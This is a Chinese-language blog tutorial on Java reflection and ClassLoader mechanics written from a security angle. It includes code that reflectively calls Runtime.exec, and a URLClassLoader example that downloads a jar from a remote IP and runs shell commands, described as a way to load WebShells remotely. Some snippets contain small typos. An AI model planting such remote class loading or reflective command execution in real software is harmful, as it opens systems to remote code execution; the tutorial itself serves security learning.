Java安全基礎之Java反射機制和ClassLoader類載入機制

smileleooo發表於2024-05-02

目錄
  • Java 反射機制
    • 反射 java.lang.Runtime
  • ClassLoader 類載入機制
    • URLClassLoader
    • loadClass() 與 Class.forName() 的區別?

Java 反射機制

Java 反射(Reflection)是 Java 非常重要的動態特性。在執行狀態中,透過 Java 的反射機制,我們能夠判斷一個物件所屬的類。瞭解任意一個類的所有屬性和方法。能夠呼叫任意一個物件的任意方法和屬性。

Java 反射機制可以無視類方法、變數的訪問許可權修飾符,並且可以呼叫類的任意方法、訪問並修改成員變數值。

對於一般的程式設計師來說反射的意義不大,對於框架開發者來說,反射作用就非常大了,反射是各種容器、框架實現的核心技術。

獲取 Class 物件

Java 反射操作的是 java.lang.Class 物件,所以我們需要先想辦法獲取到 Class 物件。

  1. 類字面常量來獲取
Class<?> name = MyClass.class;
  1. 透過物件獲取 getClass() 方法
MyClass obj = new MyClass();
Class<?> name = obj.getClass();
  1. 透過全限定名獲取 Class.forName() 方法
Class<?> name = Class.forName("java.lang.Runtime");
  1. 使用 getSystemClassLoader().loadClass() 方法
Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");

獲取類成員變數

  1. getDeclaredFields 方法

獲得類的成員變數陣列,包括 public、private 和 proteced,但是不包括父類的宣告欄位。

Field[] fields = classname.getDeclaredFields();
  1. getDeclaredField 方法

該方法與 getDeclaredFields 的區別是隻能獲得類的單個成員變數。

Field field  = classname.getDeclaredField("變數名");
  1. getFields 方法

getFields 能夠獲得某個類的所有的 public 欄位,包括父類中的欄位。

Field[] fields = classname.getFields();
  1. getField 方法

與 getFields 類似,getField 方法能夠獲得某個類特定的 public 欄位,包括父類中的欄位。

Field field = classname.getField(("變數名");

獲取類方法

  1. getDeclaredMethods 方法

返回類或介面宣告的所有方法,包括 public、protected、private 和預設方法,但不包括繼承的方法。

Method[] methods = classname.getDeclaredMethods()
  1. getDeclaredMethod 方法

只能返回一個特定的方法,該方法的第一個引數為方法名,第二個引數名是方法引數。

Method methods = classname.getDeclaredMethods("方法名")
  1. getMethods 方法

返回某個類的所有 public 方法,包括其繼承類的 public 方法。

Method[] methods = classname.getMethods();
  1. getMethod 方法

只能返回一個特定的方法,該方法的第一個引數為方法名稱,後面的引數為方法的引數對應 Class 的物件。

Method method = clazz.getMethod("方法名");

反射 java.lang.Runtime

java.lang.Runtime 有一個 exec 方法,可以反射呼叫 Runtime 類來執行本地系統命令。

不使用反射執行本地命令:

import java.io.IOException;

public class Exec {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

反射 Runtime 執行本地命令:

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionExec {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException,
            InvocationTargetException, IllegalAccessException {
        // 獲取 Runtime 類
        Class<?> clazz = Class.forName("java.lang.Runtime");

        // 獲取 Runtime 類的 getRuntime() 方法
        Method getRuntimeMethod = clazz.getMethod("getRuntime");

        // 呼叫 getRuntime() 方法,獲取 Runtime 物件
        Object runtimeObject = getRuntimeMethod.invoke(null);

        // 獲取 exec(String command) 方法
        Method execMethod = clazz.getMethod("exec", String.class);

        // 執行系統命令
        execMethod.invoke(runtimeObject, "clac");
    }
}

間接的呼叫 Runtime 的 exec 方法執行本地系統命令。

image

反射機制的功能很強大,不安全的反射可能會帶來致命的漏洞。

ClassLoader 類載入機制

Java 是編譯型語言,編寫的 java 檔案需要編譯成後 class 檔案後才能夠被 JVM 執行。類載入器 ClassLoader 負責載入類檔案,生成對應的 Class 物件。

JVM 提供的三種類載入器

  1. Bootstrap ClassLoader(啟動類載入器)

負責載入 Java 的核心類,比如 java.lang.Object 等。它是由 C++ 實現的,並且不是 Java 類。

  1. Extension ClassLoader(擴充套件類載入器)

負責載入 Java 的擴充套件類,位於 <JAVA_HOME>/lib/ext 目錄下的JAR包或類。

  1. System ClassLoader(系統類載入器)

也稱為應用類載入器,負責載入應用程式的類,通常從 classpath 中載入類。

值得注意的是,Bootstrap ClassLoader 它是 JVM 自身的一部分,並不是 ClassLoader 的子類,無法直接獲取對其的引用。所以嘗試獲取被 Bootstrap ClassLoader 類載入器所載入的類的 ClassLoader 時候都會返回 null。

除了這三種,還可以自定義類載入器。

ClassLoader 類中和載入類相關的方法

  • getParent() 返回該類載入器的父類載入器

  • loadClass() 載入指定的類

  • findClass() 查詢指定的類

  • findLoadedClass() 查詢已經被載入過的類

  • defineClass() 定義一個類

  • resolveClass() 連結指定的Java類

ClassLoader類載入流程

  1. 檢查是否已經載入過類

在載入類之前,會首先使用 findLoadedClass() 方法判斷該類是否已經被載入,如果已經載入過,則直接返回對應的 Class 物件。

  1. 委託給父類載入器

如果未被載入,則優先使用載入器的父類載入器進行載入,如果載入成功,則返回對應的 Class 物件。

  1. 自行嘗試載入類

如果父類載入器無法載入該類,或者父類載入器為空,則會呼叫自身的 findClass() 方法嘗試自行載入該類。

  1. 連結和初始化

在成功載入類之後,類載入器會對其進行連結和初始化操作。

  1. 返回 Class 物件

返回一個被 JVM 載入後的 java.lang.Class 類物件。

ClassLoader 的 loadClass 方法核心邏輯程式碼:

protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    synchronized (getClassLoadingLock(name)) {
        Class<?> c = findLoadedClass(name);
        if (c == null) {
            long t0 = System.nanoTime();
            try {
                if (parent != null) {
                    c = parent.loadClass(name, false);
                } else {
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
            }
            if (c == null) {
                c = findClass(name);
            }
        }
        if (resolve) {
            resolveClass(c);
        }
        return c;
    }
 }

自定義的類載入器

透過重寫 findClass() 方法,利用 defineClass() 方法來將位元組碼轉換成 java.lang.class 類物件,可以實現自定義的類載入器。

URLClassLoader

URLClassLoader 類是 ClassLoader 的一個實現,擁有從遠端伺服器上載入類的能力。

透過 URLClassLoader 可以實現遠端的類方法呼叫,可以實現對一些 WebShell 的遠端載入。

例如:透過 URLClassLoader 來載入一個遠端的 jar 包執行本地命令

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {
    public static void main(String[] args) throws IOException,
            ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
			IllegalAccessException {

        // 定義遠端載入的jar的URL路徑
        URL url = new URL("http://192.168.88.150/CMD.jar");

        // 建立URLClassLoader物件,並載入遠端jar包
        URLClassLoader ucl = new URLClassLoader(new URL[]{url});

        // 透過URLClassLoader載入遠端jar包中的CMD類
        Class<?> cmdClass = ucl.loadClass("CMD");

        String cmd = "ls";
        // 呼叫CMD類中的exec方法
        Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

        // 獲取命令執行結果的輸入流
        InputStream in = process.getInputStream();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int a = -1;

        // 讀取命令執行結果
        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        // 輸出命令執行結果
        System.out.println(baos.toString());
    }
}

其中遠端的 CMD.jar 中就一個 CMD.class 檔案,對應的 CMD.java 如下:

import java.io.IOException;

public class CMD {
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}

成功呼叫 CMD 類中的 exec 方法,執行了 ls 命令。

image

loadClass() 與 Class.forName() 的區別?

loadClass() 方法和 Class.forName() 方法都可以用於在執行時載入類。

主要區別:

  • loadClass() 方法是 ClassLoader 類的一個方法,透過指定的類載入器載入類,它在載入類時不會自動執行類的靜態初始化程式碼。

  • Class.forName() 方法是 java.lang.Class 類的一個靜態方法,它在載入類時會自動執行類的靜態初始化程式碼。


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章